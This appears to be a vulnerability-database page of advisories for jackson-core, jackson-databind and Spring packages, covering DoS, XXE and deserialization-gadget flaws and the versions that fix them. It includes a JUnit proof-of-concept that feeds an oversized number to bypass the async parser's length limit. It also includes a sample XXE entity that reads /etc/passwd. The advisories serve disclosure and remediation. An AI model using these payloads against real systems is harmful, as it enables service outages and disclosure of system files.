Find, fix and prevent vulnerabilities in your code.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via evaluation of user-controlled Spring Expression Language (SpEL) expressions. An attacker can cause denial of service by supplying specially crafted SpEL expressions that trigger excessive CPU or memory consumption during expression evaluation, leading to application degradation or unavailability.

Remediation

Upgrade org.springframework:spring-expression to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. A flaw was found in FasterXML Jackson Databind, where it does not have entity expansion secured properly in the DOMDeserializer class. The highest threat from this vulnerability is data integrity.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.7, 2.10.5.1 or higher.

References

• GitHub Commit
• GitHub Issue
• RedHat Bugzilla Bug

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via caching of parsed Spring Expression Language (SpEL) expressions. An attacker can cause denial of service by supplying crafted user-controlled SpEL expressions that trigger unbounded growth of the expression cache. Over time, repeated evaluations can consume excessive memory, eventually leading to memory exhaustion and application unavailability.

Note: Exploitation typically requires a large number of expression evaluations, potentially millions of requests, even when reusing a single expression with dynamic inputs.

Remediation

Upgrade org.springframework:spring-core to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime via multipart request processing in Spring WebFlux. An attacker can cause denial of service by sending crafted multipart requests that trigger a memory leak during request processing, leading to excessive memory consumption and potentially causing the application to become unavailable.

Note: This is only exploitable if the application uses Spring WebFlux and exposes an endpoint that accepts multipart requests.

Remediation

Upgrade org.springframework:spring-web to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

• GitHub Commit
• GitHub Release
• GitHub Release
• Spring Security Advisory

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to com.pastdev.httpcomponents.configuration.JndiConfiguration.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

• On Jackson CVEs: Don’t Panic on Medium
• NCC Group Jackson Deserialization WhitePaper
• Java Security Best Practices

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.6 or higher.

References

• GitHub Issue

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to the class ignite-jta.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

• On Jackson CVEs: Don’t Panic on Medium
• NCC Group Jackson Deserialization WhitePaper
• Java Security Best Practices

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

• GitHub Issue
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.PerUserPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

• GitHub Issue

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.datasources.SharedPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

• GitHub Issue

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.